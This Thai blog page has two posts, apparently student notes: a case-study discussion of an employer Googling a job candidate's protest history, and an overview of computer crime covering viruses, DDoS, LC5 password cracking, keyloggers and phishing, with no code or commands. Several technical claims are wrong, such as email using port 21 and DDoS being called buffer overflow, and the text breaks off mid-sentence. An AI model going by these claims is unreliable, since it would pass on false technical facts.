วันอังคารที่ 18 มิถุนายน พ.ศ. 2556

We Google You


We Google You
flickr:8897352727
Hathaway Jones เป็นบริษัทผู้จัดจำหน่ายเครื่องแต่งกายในประเทศสหรัฐอเมริกา โดยบริษัทมีแผนที่จะขยายธุรกิจไปยังประเทศจีน เนื่องจากในประเทศจีนตลาดมีการขยายตัวสูงถึง 70% ต่อปี โดยวางแผนจะเปิดร้านใหม่ ใน 3 หัวเมืองใหญ่ ได้แก่ ปักกิ่ง, กวางเจา และเซี่ยงไฮ้
Fred Western เป็น CEO ของบริษัท Hathaway Jones กำลังต้องการหาผู้จัดการร้านคนใหม่ไปประจำและดูแลร้านที่กำลังจะเปิดใหม่ในประเทศจีน ซึ่งคุณสมบัติที่ต้องการคือสามารถพูดได้ทั้งภาษาจีนและภาษาอังกฤษ และต้องเป็นคนที่มีความเข้าใจวัฒนธรรมของจีน และสามารถเข้าถึงความต้องการของตลาดในประเทศจีน Fred ได้ทำการคัดเลือกผู้จัดการร้านคนใหม่และหนึ่งในผู้สมัครคือ Mimi เป็นลูกสาวของ John Brewster ซึ่งเป็นเพื่อนเก่าของ Fred
flickr:8897972388
ผู้สมัครงาน Mimi Brewster อายุราว 30 ปี เป็นลูกสาวของ John Brewster ซึ่งเป็นเพื่อนในสมัยเรียนของ Fred เป็นคนมีความมั่นใจในตัวเอง เธอเติบโตในประเทศจีนและสามารถพูดภาษาจีนกลางและภาษาจีนท้องถิ่น เรียนจบจากมหาวิทยาลัยที่ Berkeley ในสาขาประวัติศาสตร์จีนสมัยใหม่ด้วยเกียรตินิยมอันดับสอง จากนั้นได้ศึกษาต่อในสาขา MBA ที่ Stanford หลังจบการศึกษา เธอได้เข้าทำงานที่ West Coast regional office of Eleanor Gaston ซึ่งเป็นบริษัทที่ขายเสื้อผ้า รองเท้า และเครื่องประดับชั้นนำที่ใหญ่ที่สุดในอเมริกา ใน 4 ปีที่เธอทำงานอยู่นี้ เธอได้แสดงความสามารถในการจับรสนิยมทางแฟชั่นของหนุ่มสาวในตลาดออนไลน์ และหลังจากที่เธอสามารถสร้างแบรนด์ใหม่ได้ 2 แบรนด์แล้ว เธอก็เริ่มมองหาประสบการณ์ทางด้านการบริหารโดยเฉพาะในตลาดที่เติบโตอย่างรวดเร็วอย่างประเทศจีน
จากการสัมภาษณ์ Mimi ได้แสดงให้เห็นถึงความสามารถและความเฉลียวฉลาดของเธอ เธอมีความเข้าใจในความต้องการของผู้บริโภคชาวจีนเป็นอย่างดี มีมุมมองที่น่าสนใจ ซึ่งทำให้ Fred มีความประทับใจต่อ Mimi เป็นอย่างมาก
flickr:8897972408
Virginia Flanders เป็น Vice president ของแผนกบุคคล ได้ทำการตรวจสอบข้อมูลของ Mimi เพิ่มเติมโดยการค้นหาใน Google ซึ่งจากการค้นหานี้ในหน้าที่ 9 พบว่า Mimi ได้เคยเป็นผู้นำการประท้วงเพื่อต่อต้านองค์กรการค้าโลก และพบข่าวจากหนังสือพิมพ์ที่มีรูปของ Mimi ประท้วงอยู่หน้าสถานทูตจีนในซานฟรานซิสโกเพื่อต่อต้านการปฏิบัติของประเทศจีนที่มีต่อสื่อมวลชน เมื่อ Virginia ได้ทราบถึงข้อมูลเหล่านี้ เธอจึงได้แจ้งให้ Fred ทราบ ซึ่ง Fred อยากจะเรียก Mimi เข้ามาเพื่อให้ Mimi ได้มีโอกาสชี้แจงเพิ่มเติมเกี่ยวกับเรื่องนี้ แต่ Virginia เป็นห่วงในเรื่องที่บริษัททำการค้นหาประวัติของ Mimi จาก Google ซึ่งอาจจะเป็นการละเมิดสิทธิส่วนบุคคลของ Mimi หากบริษัทจะนำเรื่องราวที่ค้นพบผ่านช่องทางทางอินเตอร์เน็ทมาเป็นเหตุผลในการปฏิเสธ
จากบทความมีคำถามเกิดขึ้นว่า เฟรดควรจะจ้าง Mimi หรือไม่จากประวัติของเธอบนกูเกิ้ล
4 Comment จากผู้เชี่ยวชาญในแต่ละสาขา
flickr:8897972504
1. John G.Palfrey, Jr. เป็นนักกฎหมาย มีความเห็นว่า Fred ควรใช้สัญชาตญาณของตัวเองในการตัดสินใจ โดยพิจารณาจากคุณสมบัติที่เหมาะสม และเห็นว่าคนที่ไม่มีข้อมูลบนอินเตอร์เน็ตอาจจะเป็นคนที่ไม่มีความน่าสนใจเลย และข้อมูลบนอินเตอร์เน็ตนั้นสามารถทำปลอมแปลงหรือบิดเบือนได้ การกระจายข้อมูลเป็นไปอย่างรวดเร็วและไม่สามารถหยุดได้ จึงเป็นหน้าที่ของผู้ใช้ที่จะต้องใช้วิจารณญาณในการพิจารณาถึงความถูกต้องของข้อมูล
flickr:8897971970
2. Jeffrey A.Joerres (Chairman and CEO of Manpower) มีความเห็นว่า การที่บริษัทจะเข้าไปทำการตลาดในประเทศจีนให้ประสบผลสำเร็จนั้น สิ่งสำคัญที่สุดก็คือจะต้องมีความสัมพันธ์ที่ดีกับภาครัฐของประเทศจีน ดังนั้นข่าวของ Mimi ที่เคยต่อต้านรัฐบาลของประเทศจีน อาจก่อให้เกิดปัญหาความสัมพันธ์กับภาครัฐซึ่งจะส่งผลเสียต่อบริษัทอย่างแน่นอน และการเข้าถึงข้อมูลนี้ก็สามารถทำได้อย่างที่ Jeffrey แนะนำว่า Mimi ควรที่จะตรวจสอบข้อมูลของตัวเองบนอินเตอร์เน็ตก่อนที่จะเข้าสัมภาษณ์ และควรแจ้งข้อมูลเหล่านี้ให้กับบริษัททราบพร้อมกับอธิบายถึงเรื่องราวความเป็นมา จะดีกว่าการที่ให้บริษัททราบข้อมูลจากกการค้นหาด้วยตัวเอง
flickr:8897972198

3. Danah m. Boyd (Adviser to major media corporation) มีความเห็นว่า ในปัจจุบันการค้นพบข้อมูลของบุคคล บนอินเตอร์เน็ตนั้นเป็นเรื่องปกติ เพราะพฤติกรรมของวัยรุ่นโดยทั่วไปก็ชอบแสดงออกถึงความมีตัวตนโดยการโพสข้อความหรือรูปภาพบนอินเตอร์เน็ต เนื่องจาก Mimi มีคุณสมบัติที่เหมะสมกับตำแหน่งและข้อมูลที่อยู่บนอินเตอร์เน็ตเหล่านั้นก็เป็นอดีต เป็นเรื่องราวที่ผ่านมาหลายปีแล้วและในปัจจุบันมุมมองของ Mimi ก็ได้เปลี่ยนไปจากเดิมแล้ว ดังนั้น Fred ควรเปิดใจที่จะรับ Mimi เข้าทำงาน และ Mimi ก็สามารถแก้ไขโดยการสร้างภาพลักษณ์ที่ดีบนอินเตอร์เน็ตเพื่อที่จะแทนที่ข้อมูลที่มีอยู่เดิมในอดีต
flickr:8897971890
4. Michael Fertik (CEO of Reputation Defender) มีความเห็นว่า ข้อมูลที่พบบนอินเตอร์เน็ตของ Mimi มีผลต่อการทำธุรกิจกับประเทศจีนเป็นอย่างมาก เพราะหากมีใครพบข้อมูลนี้ก็จะสร้างกระแสการวิพากษ์วิจารณ์และอาจเกิดผลกระทบต่อความมั่นคงต่อธุรกิจได้ ซึ่งการที่จะขอลบข้อมูลจากผู้นำเสนอข่าวนั้นน่าจะทำได้ยาก Mimi เองน่าจะไม่มีอำนาจมากพอที่จะขอให้ลบข้อมูลของเธอออก ดังนั้น Mimi ควรเผชิญหน้ากับปัญหาอย่างตรงไปตรงมา โดยการแจ้งข้อมูลเหล่านี้ให้ Fred ทราบเมื่อเธอได้พบกับเขาครั้งแรก และควรทำการประชาสัมพันธ์ตัวเอง เพื่อให้สังคมได้ทราบถึงการเปลี่ยนแปลงทางความคิดของ Mimi ผ่านทางโลกอินเตอร์เน็ต
จากการค้นคว้าข้อเสนอแนะต่างๆ และความเห็นของทางกลุ่ม มีความเห็นเป็น 2 แบบ ดังนี้
1.เห็นควรรับเข้าทำงาน
• เพราะว่า Mimi มีคุณสมบัติที่ดีหลายอย่าง ไม่ว่าจะเป็นพื้นฐานทางการศึกษาและประสบการณ์ทำงาน การติดต่อสื่อสารที่ดี และมีความคิดสร้างสรรค์ โดยอาจให้Mimiทำงานตำแหน่งอื่นแทนตำแหน่งในประเทศจีน หรือมีการทดลองงานก่อน
• สิ่งที่เกิดขึ้นบนสื่อออนไลน์อาจเป็นเรื่องไม่จริงเสมอไป อีกอย่างเรื่องที่เกิดขึ้นผ่านมานานแล้ว ปัจจุบันMimi อาจจะเปลี่ยนความคิดมุมมองของเธอแล้วก็ได้
2.เห็นควร ไม่รับเข้าทำงาน
• เพราะในประเทศจีนมีปกครองด้วยระบอบคอมมิวนิสต์ และถือว่าเรื่องทางการเมืองเป็นเรื่องอ่อนไหว ประชาชนชาวจีนส่วนใหญ่ค่อนข้างเห็นด้วยกับรัฐบาลจีน การที่ Mimi เคยทำการประท้วงมาก่อน อาจทำให้ประชาชนชาวจีนที่สามารถเข้าถึงข้อมูลในอินเตอร์เนตไม่พอใจ และไม่ซื้อสินค้าบริษัทได้
•มีความเสี่ยงที่ คู่แข่งจะหยิบยกประเด็นนี้มาโจมตีบริษัทได้

ในส่วนของ Mimi
Mimi ควรแสดงถึงความตั้งใจจริงและความพร้อมในการทำงานต่อบริษัท Hathaway Jones โดยแจ้งเรื่องนี้ก่อนมามาสัมภาษณ์งานที่บริษัท รวมถึงมีการชี้แจงและขอโทษสำหรับเหตุการณ์ที่ผ่านมา รวมถึงแสดงให้เห็นการเปลี่ยนแปลง ถึงจุดยืนที่ชัดเจนของตัวเองว่าจะไม่ทำพฤติกรรมเช่นนั้นอีก
หากเป็นการเข้าใจผิด Mimi ควรรีบชี้แจงให้เข้าใจว่าไม่ได้เป็นผู้มีส่วนร่วมหรือปฏิบัติเช่นนั้น ข่าวที่ปรากฏออกมาเกิดจากความเข้าใจผิดของนักข่าว พร้อมหาหลักฐานในการยืนยันว่าไม่ได้มีส่วนร่วม และอยู่ในกลุ่มชุมนุมประท้วง รวมถึงชี้แจงสถานะของตนเองว่าไม่ได้มีการต่อต้านประเทศจีนแต่อย่างใด ทั้งนี้บริษัทอาจร่วมช่วยแก้ปัญหาโดยการ สร้างภาพลักษณ์ใหม่ให้กับ Mimi
จากบทความนี้สรุปเป็นประเด็นสำคัญได้ดังนี้
Searching the Internet for information about job candidates is legal and Right of Privacy
ตามกฎหมาย การจัดเก็บ รวบรวม ใช้ เปิดเผย ข้อมูลส่วนบุคคลอันได้แก่ ประวัติการศึกษา ฐานะทางการเงิน ประวัติสุขภาพ ประวัติการทำงาน หรือแม้กระทั่งประวัติอาชญากรรม ตลอดจน หมายเลขโทรศัพท์ รหัสประจำตัวประชาชน หรือ ลายพิมพ์นิ้วมือ แผ่นบันทึกลักษณะเสียง รูปถ่าย โดยที่เจ้าของข้อมูลส่วนบุคคลนั้นไม่ได้ให้ความยินยอมย่อมถือว่าเป็นการกระทำที่ไม่ชอบด้วยกฎหมาย อีกเรื่องหนึ่งคือ เรื่องการเคารพสิทธิส่วนบุคคลก็สำคัญ ตามกฎหมายรัฐธรรมนูญ กล่าวว่า บุคคลย่อมมีเสรีภาพในการแสดงความคิดเห็น การพูด การเขียน การพิมพ์ การโฆษณา และการสื่อความหมายโดยวิธีอื่น ตราบใดที่ไม่เป็นการทำความเดือดร้อนเสียหายแก่บุคคลอื่น
Some information spread over the Internet might be false, so if a search reveals something controversial, it is a good idea to ask the candidate if it is true.
ข้อมูลที่อยู่บนอินเตอร์เนตอาจไม่ใช่เรื่องจริงทั้งหมด การสอบถามผู้สมัครก่อนเพื่อทราบเหตุผลและแนวคิดของเขาเพิ่มเติมว่าเป็นเรื่องจริงหรือไม่ อย่างไร
Hiring standards need to adapt to the reality that people are not perfect.
การรับสมัครพนักงานก็ต้องปรับเปลี่ยนอย่างเหมาะสมและระลึกไว้ว่าไม่มีใครสมบูรณ์แบบ 100%
In time, many young people will learn that it is not a good idea to post naked pictures of themselves online.
ในขณะเดียวกัน เราเองก็ควรจะระมัดระวังที่จะไม่โพสต์รูปที่ไม่เหมาะสมหรือข้อความสุ่มเสี่ยงลงบนโลกออนไลน์เช่นกัน

Information Systems Security Computer Crimes


Information Systems Security & Computer Crimes
อาชญากรรมคอมพิวเตอร์ หรือ Cyber Crime คือการใช้คอมพิวเตอร์ระบบเครือข่ายเป็นเครื่องมือในการก่ออาชญากรรม เช่น การเผยแพร่ข้อมูลที่ไม่เหมาะสม เช่นเผยแพร่ข้อมูลที่เกี่ยวกับความมั่นคง หรือการส่งเมลล์หลอกลวงให้เหยื่อส่งข้อมูลให้ เป็นต้น อีกแง่มุมคือ เป้าหมายในการก่ออาชญากรรมคือตัวระบบคอมพิวเตอร์ขององค์กร และข้อมูลในระบบ เช่น ข้อมูลลูกค้า ข้อมูลทางการเงิน เป็นต้น ซึ่งกระทำโดยอาชญากรคอมพิวเตอร์
อาชญากรคอมพิวเตอร์ Cybercriminals คือบุคคลหรือกลุ่มบุคคลที่ใช้คอมพิวเตอร์ ระบบเครื่องข่าย หรืออินเตอร์เนต เป็นเครื่องมือในการประกอบอาชญากรรม
ประเภทของอาชญากรรมคอมพิวเตอร์ มี 2 ประเภท คือ
1. อาชญากรรมคอมพิวเตอร์จากภายนอกองค์กร ซึ่งเป็นการกระทำที่เกิดจากคนภายนอกองค์กร เช่นเกิดจาก hacker, คู่แข่ง หรือ ลูกค้า เป็นต้น
2. อาชญากรรมคอมพิวเตอร์จากภายในองค์กร เป็นการกระทำโดยคนภายในองค์กร หรือที่เรียกว่า Insider ซึ่งอาชญากรรมประเภทนี้จะพบได้บ่อยประมาณ 80 % ที่พบมากเนื่องจากคนภายในองค์กรจะเป็นผู้ที่ทราบว่าข้อมูลสำคัญอยู่ตรงไหน รู้ระบบรักษาความปลอดภัย และมีสิทธิ์ในการเข้าถึงข้อมูลที่สำคัญ
อาชญากรรมคอมพิวเตอร์จากภายนอกองค์กร
เป็นการกระทำที่เกิดจากคนภายนอกองค์กร เช่นเกิดจาก hacker, การขโมยข้อมูลคอมพิวเตอร์จาก การแพร่กระจายไวรัส การทำลายระบบคอมพิวเตอร์ การรบกวนการทำงานของระบบคอมพิวเตอร์ การปลอมแปลงอีเมลล์หรือการสร้างเว็บไซต์ปลอม รวมถึงการก่อการร้าย หรือการก่อวินาศกรรมโดยใช้คอมพิวเตอร์ จากคู่แข่ง หรือ ลูกค้า เป็นต้น ซึ่งอาชญากรรมประเภทนี้จะมีอยู่ประมาณ 20 % โดย70 % ของอาชญากรรมคอมพิวเตอร์คือ Phishing ซึ่ง Phishing เป็นการปลอมแปลง E-mail หรือ ทำเว็บไซด์ปลอม มีการปลอมแปลงเนื้อหาบนเว็บไซด์ เพื่อหลอกให้เหยื่อเปิดเผยข้อมูลส่วนบุคคลออกมา โดยเฉพาะ Username กับ Password สาเหตุที่มีสูงขึ้นทุกวันเนื่องจาก เหตุผลหลักๆเลยคือ โปรแกรมในการ hack สามารถหาได้ง่าย internet ถูกใช้เป็นช่องทางในการหาโปรแกรม, ผู้ใช้ก็ไม่ต้องมีความรู้อะไรมากแค่ Download hacking application มาใช้ ก็ทำการ hack ได้แล้ว และอาจเกิดจากระบบซอฟแวร์ที่มีความซับซ้อน โอกาสที่เกิดช่องโหว่มาพร้อมกับ Bug เป็นช่องทางที่ hackers สามารถเข้าถึงได้ง่ายขึ้น ระบบโครงสร้างพื้นฐานเชื่อมโยงกับระบบเครือข่ายเป็นช่องทางที่ทำให้อาชญากร ทำงานง่ายขึ้น
อาชญากรคอมพิวเตอร์ (Hackers) คือ บุคคลที่เข้าถึงระบบคอมพิวเตอร์หรือข้อมูลในระบบคอมพิวเตอร์โดยผิดกฎหมาย โดยสามารถแบ่งออกได้เป็น 3 ประเภท คือ
1. หมวกขาว (White-hat)
คือ ผู้ที่เข้าสู่ระบบเพื่อทำการตรวจสอบช่องโหว่ของระบบและทำการแก้ไขปรับปรุงให้ระบบให้
มีการทำงานที่ดียิ่งขึ้น
2. หมวกดำ (Black-hat)
คือ ผู้ที่บุกรุกเข้าสู่ระบบโดยมีจุดประสงค์ร้ายในการสร้างความเสียหายให้เกิด ขึ้น เช่น เจาะเอาข้อมูล การทำลาย
3. มือสมัครเล่น (Script kiddies)
คือ มือใหม่ที่เริ่มบุกรุกเข้าสู่ระบบคอมพิวเตอร์ เพื่อสร้างความเดือดร้อน หรือหวังผลประโยชน์ ไม่จำเป็นต้องมีความรู้ทางเทคนิค เราพะใช้เครื่องมือเป็น Hacking software สำเร็จรูป (Hackers ส่วนใหญ่อยู่ในกลุ่มนี้)
เป้าหมายของ Hackers คือต้องการขโมยข้อมูล เช่น ขโมยข้อมูลบัตรเคดิต หรือข้อมูลส่วนตัว และนำข้อมูลไปประกอบอาชญากรรม
Hackers เข้าขโมยข้อมูลได้อย่างไร สามารถแบ่งออกได้เป็น 2 ประเภท คือ
1. Direct access คือ เข้าถึงกายภาพโดยตรง เช่นเวลาที่เจ้าของข้อมูลไม่อยู่ก็นำ Thumb Drive มาดูดขโมยข้อมูลไป หรือเป็นการมาลง software ที่ชื่อ spy ware ที่เครื่องคอมพิวเตอร์ที่มีการบันทึกข้อมูลต่างๆที่สำคัญ ซึ่ง software นี้จะบันทึกทุกกิจกรรมที่เราทำลงบนเครื่องคอมพิวเตอร์และข้อมูลต่างๆที่ บันทึกได้นั้นจะถูกส่งไปยัง hackers โดยตรง และ software นี้ก็มีขายทั่วไปตามท้องตลาด
2. Indirect access คือ การขโมยข้อมูลทางอ้อม โดยวิธี Indirect access นี้มีมากกว่า Direct access เป็นการกระทำโดยใช้ช่องทางผ่านระบบเครือข่ายโดยที่เราไม่รู้ตัว ซึ่งทุก application ใน internet จะมี port No. เช่นสมมุติว่าเราจะเข้าเว็บ เราก็จะผ่าน port No.80 เราจะเช็คเมลล์เราก็ผ่าน port No.21 โดยขั้นตอนแรกในการทำก็คือ hackers จะใช้ port scanning software เพื่อ scan ดูว่ามี port ใดที่เปิดอยู่บ้าง เป็นการเช็คก่อน เหมือนถ้าเราเป็นโจร เราก็จะดูว่ามีประตูบ้านไหนเปิดอยู่ ถ้า scan เจอก็จะใช้ port นั้นในการเข้าถึงข้อมูล และขั้นตอนต่อไป คือ การสร้าง account ในเครือข่าย สำหรับ hackers ที่เก่งๆก็จะ เข้าไปลบ admin account ลบของจริงแล้วสร้างใหม่ ซึ่งการป้องกันก็จะมี software ที่เรียกว่า firewalls ใช้สำหรับเปิดเฉพาะ port ที่จำเป็นและปิด port ที่ไม่จำเป็นต้องใช้เพื่อลดโอกาสการเข้าถึงข้อมูลของ hackers
อาชญากรรมคอมพิวเตอร์จากภายในองค์กร
เป็นการกระทำโดยคนภายในองค์กร พบมากเนื่องจากคนภายในองค์กรจะเป็นผู้ที่ทราบว่าข้อมูลสำคัญอยู่ตรงไหน รู้ระบบรักษาความปลอดภัย และมีสิทธิ์ในการเข้าถึงข้อมูลที่สำคัญ
• อาชญากรรมคอมพิวเตอร์จากภายในองค์กร
• พนักงานทำการเปลี่ยนแปลงแก้ไขข้อมูลโดยไม่ได้รับอนุญาต
• พนักงานขโมยความลับทางการค้าและนำไปขายให้กับคู่แข่ง
พนักงานที่มีความแค้นต่อองค์กร ทำการทำลายระบบคอมพิวเตอร์หรือข้อมูลในระบบคอมพิวเตอร์
ตัวอย่างอาญากรรมคอมพิวเตอร์
Viruses เป็น software code ที่จะไปฝังตัวกับไฟล์ใดไฟล์นึง เมื่อเครื่องมีการติดไวรัสคอมพิวเตอร์ ก็เหมือนกับติดไวรัสทางกายภาพ การทำงานก็คือจะ copy ตัวมันเองไปยังไฟล์อื่น ซึ่งส่งผลให้ระบบงานเกิดความล่าช้า และอาจเข้าไปแก้ไขระบบต่างๆ และอาจเข้าไปทำลายระบบ software hard disk เป็นต้น วิธีที่นิยมในการแพร่ไวรัสมากที่สุดคือผ่านทาง E-mail, social media และผ่านทางเว็บที่ให้ down load file ต่างๆ รวมถึงการใช้ thumb drive ร่วมกันด้วย
Types of Viruses
Boot-scetor viruses : จะทำการ copy ตัวเองในส่วนของ boot sector ใน hard drive
Logic bombs : จะเกิดการ activate virus เมื่อพบเงื่อนไขที่ตั้งไว้ โดยทำการตั้งเงื่อนไขไว้ เมื่อพบเงื่อนไขจึงเริ่มสร้างความเสียหาย
Worms : สามารถ replicate ตัวเองได้ โดยไม่ต้องอาศัยผู้ใช้งาน
Script viruses : จะมาพร้อมกับ Browser
Macro viruses : ส่วนใหญ่มากับ office file
Encryption viruses : เป็นไวรัสที่เข้ารหัสไฟล์หรือรหัสโฟล์เดอร์ โดยไม่ให้ผู้ใช้เปิดไฟล์หรือโฟล์เดอร์นั้นได้ อาจมีการจ่ายค่าไถ่เพื่อขอเปิดไฟล์
E-mail viruses use the address book in the victim’s e-mail system to distribute the virus : ผ่านทาง address เป็นหลัก
Trojan horses : จะไม่ทำความเสียหาย แต่จะเป็น software ที่เวลาลงไปที่เครื่องของเหยื่อ ซึ่ง hacker สามารถควบคุมเครื่องคอมพิวเตอร์ของเหยื่อได้ในระยะไกล โดยอาจเข้าไปในรูปแบบของไฟล์ปกติอาจเป็นไฟล์วิดีโอหรือไฟล์รูปภาพ แต่จะมี software code ซ่อนอยู่ ซึ่งจะเข้าไปควบคุมเครื่องเหยื่อโดยอัตโนมัติ ซึ่งเครื่องของเหยื่อที่ถูกควบคุมจะเรียกว่า ซอมบี้
Worms จะส่งผลกระทบใกล้เคียงกับไวรัส บางสำนักแยก Worms ออกมาโดยบอกว่า Worms ไม่ใช่ประเภทหนึ่งของไวรัส แต่บางสำนักก็นับ ว่า Worms เป็นประเภทหนึ่งของไวรัส ซึ่ง Worms จะสามารถแพร่กระจายตัวเองผ่านทางระบบเครือข่ายโดยอัตโนมัติ โดยที่ไม่ต้องเกิดจากการกระทำของผู้ใช้ ไม่ต้องอาศัยไฟล์ ไม่จำเป็นต้องมาจากการรับส่ง E-mail และมันก็สามารถอยู่ได้ด้วยตัวมันเอง Worms ส่วนใหญ่จะอันตรายกว่าไวรัส
จุดประสงค์ของไวรัสก็คือ ทำให้ระบบคอมพิวเตอร์ช้าลง และบางไวรัสก็มีการสร้างเงื่อนไขในการทำงาน เช่น ตั้งวันที่ไว้ให้มันทำงาน เมื่อผู้ใช้เปิดไฟล์เข้าไปในวันที่กำหนด มันก็จะทำงาน กล่าวได้ว่าเมื่อไวรัสพบเงื่อนไขปุ๊บ มันก็ทำงานทันที
Spam
Spam คือ การส่ง E-mail เป็นจำนวนมากไปยังผู้ที่ไม่ประสงค์จะรับ เพื่อประโยชน์ทางการค้า เช่น การโฆษณา
Spim คือ การใช้ spam ผ่านทาง Instant Messengers เช่น MSN และ Yahoo
DDOS (Denial of service attacks and Botnet) เป็นอาชญากรรมที่เกิดขึ้นบ่อยมาก เรียก DOS Attack จุดประสงค์หลักของอาชญากรคือ ทำให้ระบบคอมพิวเตอร์ไม่สามารถทำงานได้ โดยปกติแล้ว DOS Attack จะเกิดขึ้นกับพวกเว็บไซด์ดังๆและระบบคอมพิวเตอร์ที่สำคัญ ซึ่งกระบวนการและวิธีการ คือ hacker จะปล่อย Trojan horses software ซึ่ง Trojan horses เป็น software ที่ทำให้ hacker ควบคุมได้จากระยะไกล โดยปล่อยไปยังเครื่องคอมพิวเตอร์อาจเป็นหมื่นๆเครื่องหรืออาจเป็นล้านๆ เครื่องก็ได้ โดยเข้าไปควบคุมบทบาทของคอมพิวเตอร์ ณ ตอนนั้นที่เป็นซอมบี้และ hacker จะบังคับให้ซอมบี้ทำการ request ข้อมูลไปยัง server ภายในเวลาเดียวกัน ซึ่ง server ตัวนั้นก็จะไม่สามารถรองรับการ request ที่มากมายขนาดนั้นได้ ที่เรียกกันว่า buffer overflow ซึ่งปกติแต่ละ server จะมีข้อจำกัดในการรองรับผู้ใช้ได้ประมาณ 1,000 requests เท่านั้น ซึ่งทำให้ server นั้นไม่สามารถให้บริการกับคนทั่วไปได้ และจะแยกยากว่าเป็น request จากเครื่องปกติหรือเป็น request ของเครื่องซอมบี้ ซึ่งเป็นการยากที่จะป้องกัน สัญญาณที่บอกว่า server นั้นโดน DOS Attack คือจะโหลดได้ช้ามากๆ หรือขึ้นหน้าจอว่าไม่สามารถเข้าถึงได้
การป้องกัน DOS Attack มีดังนี้
• เป็นวิธีที่หลายองค์กรใช้เพื่อกระจายความเสี่ยงคือการสร้าง server หลายๆอันเพื่อใช้ในการรองรับ เป็นการสร้าง back up ขึ้นมาแทน ในกรณีที่ server ใดโดน DOS Attack ก็ยังมี server อื่นๆมาใช้แทนที่
• ใช้ inclusion detect software เป็น software ที่ดูว่า signal ใดเป็นรูปแบบของ DOS Attack แล้วจะไปทำการเปลี่ยนแปลงค่าใน server หรือทำการ block request นั้นๆ ซึ่งปัญหาในหลายๆ เรื่องโดยเฉพาะเรื่องความปลอดภัยเกิดจาก password เป็นหลัก
Password Cracking Software
Software นี้ ในอดีตเราสามารถเข้าไปโหลดมาใช้ได้เลย ซึ่งสามารถ google ใน internet แล้วพิมพ์ LC 5 เพื่อโหลดมาใช้เพื่อ hack password กระบวนการทำงานของมันก็คือ เวลาเก็บ password นั้นจะถูก convert เป็นภาษาต่างดาวซึ่งเราเรียกว่า hash วิธีการที่จะรู้ได้อย่างไรว่าเราใช้ password ถูกต้องหรือไม่ คือจะมี algorithm ในการแปลง peer text เหล่านี้ให้เป็น hash ซึ่ง hash ก็คือตัวอักษรในกลุ่มดังภาพ เวลาเราพิมพ์ password ไป เมื่อ Password มันตรงกับ hash หรือ match กับ hash ก็แสดงว่าเป็น password ที่ถูกต้อง เราก็สามารถเข้าถึงระบบได้ ในกระบวนการทำงานของ software LC 5 ซึ่งเป็น software ที่มีชื่อเสียงมากในการ hack กระบวนการก็คือ software LC 5 นี้จะมีคำศัทพ์ทุกคำใน dictionary มันจะทำการทดลองเอาคำทุกคำที่มีใน dictionary ใส่ในระบบ ว่าคำไหนบ้างที่ match กับ hash ที่อยู่ในคอมพิวเตอร์ ถ้าพบว่า match ก็แสดงว่า hacker สามารถเข้าถึงข้อมูลสามารถที่จะรู้ password ได้ ถ้า password ที่เราตั้งตรงกับใน dictionary จะใช้เวลาไม่เกิน 2 วินาที ถ้า password เรามีความแข็งแรงขึ้น เช่นมีตัวเลขและมีสัญลักษณ์อยู่หรือมีความยาวมาก ก็จะทำให้ใช้เวลาในการ hack นานขึ้น กระบวนการนี้มันจะทดลองจาก password ที่มีความอ่อนแอมากที่สุดไปสู่ password ที่มีความแข็งแรงมากที่สุด ต.ย. password ที่มีความอ่อนแอมากและเป็นคำที่ใช้ในการตั้ง password มากที่สุดโดยทราบจากการสำรวจคือการใช้คำว่า password เป็น password และรองลงมาที่พบมากคือ ใช้คำว่า admin 1234 เป็น password และ ต.ย. password ที่อ่อนแอ เช่น password ที่เป็นคำใน dictionary ตัวอักษรอย่างเดียว ตัวเลขอย่างเดียว และจำนวนตัว password ที่น้อยเกินไป
การตั้ง password ที่ปลอดภัย ควรตั้งโดยใช้จำนวนตัวอักษรหลายตัว เช่นสมัยปัจจุบันนี้ มีการตั้ง password ถึง 22 ตัวอักษร และการใช้ ตัวเลข ใช้สัญลักษณ์ และใช้ตัวอักษรเล็กใหญ่สลับกัน ควรเปลี่ยน password บ้างและไม่ควรเอาข้อมูลส่วนตัวเรามาตั้งเป็น password เพื่อเพิ่มความปลอดภัยอย่าเขียน password ใส่กระดาษ อย่าเก็บ password ไว้ใน browser ถ้าอยากจำ password ได้แม่นๆ ก็ต้องเข้าใช้ account นั้นบ่อยๆ และอย่าใช้ password เดียวกันกับทุกๆ account บางครั้ง hacker สร้างเว็บไซด์ปลอมให้เราลงทะเบียน ถ้าเราใช้ password ซ้ำๆกับทุกๆ account นั้น hacker ก็จะรู้หมด บางองค์กรที่ต้องการความปลอดภัยอย่างสูงก็จะหลีกเลี่ยงการใช้ password โดยให้ใช้ส่วนของร่างกายในการพิสูจน์ตัวบุคคลหรือใช้ smart card แทน
Sniffers
Sniffers คือ software ที่คล้ายๆเครื่องดักฟังโทรศัพท์ เป็นตัวดักจับข้อมูล hackers จะนำ Sniffers software มาใช้ในการดักจับข้อมูลที่ทำการส่งผ่านระบบเครือข่าย
Key logger
โปรแกรมนี้จะค่อนข้างอันตราย คือจะทำการบันทึกแป้นพิมพ์บนคีย์บอร์ดทั้งหมด หลังจากนั้นก็จะทำการส่งข้อมูลไปยังผู้ที่ลงโปรแกรมนี้ ได้อย่างอัตโนมัติเวลาเชื่อมต่อ internet ซึ่งหลักๆของโปรแกรมนี้จะใช้สำหรับผู้ปกครองที่ต้องการจะ monitor พฤติกรรมของลูกหลาน แต่ก็มีการเอาโปรแกรมนี้มาใช้ผิดๆ คือ ใช้ในการล้วงข้อมูลต่างๆ ปัจจุบัน Keylogger ก็ถือว่าเป็นความผิดทางกฎหมายรวมถึงกฎหมายในประเทศไทยด้วย
Phishing
ปัจจุบันมีมากที่สุดในประเทศไทย เป็นการปลอมแปลง E-mail หรือเว็บไซด์ จุดประสงค์หลักคือจะให้ผู้ใช้เปิดเผยข้อมูลส่วนตัว เช่น อีเมล์หลอกลวงจากมิจฉาชีพส่งถึง บุคคลทั่วไป โดยแจ้งว่าบัญชีของท่านมีปัญหา หรือธนาคารมีการพัฒนาระบบรักษาความปลอดภัยใหม่ และให้ท่านทำรายการ/แก้ ปัญหา โดยให้ท่าน Click Link ในอีเมล์ดังกล่าว ซึ่งจะเชื่อมต่อไปยังเว็บไซต์ปลอม (Phishing Website) ซึ่งมีลักษณะเหมือนกับหน้าจอ K-Cyber Banking ทุกประการ โดยเป็น URL ที่ไม่ใช่ของธนาคาร หรือชื่ออื่นๆ ที่อาจจะมีชื่อที่คล้ายคลึงกับ URL ของธนาคาร ปกติการทำ Phishing ก็จะมีการปลอมแปลงเว็บโดยเฉพาะผู้ใช้ที่ไม่ทันสังเกตว่า URL Domain ถูกต้องหรือเปล่า พอเราใส่ข้อมูลลงไปในเว็บ ปลอมนี้ 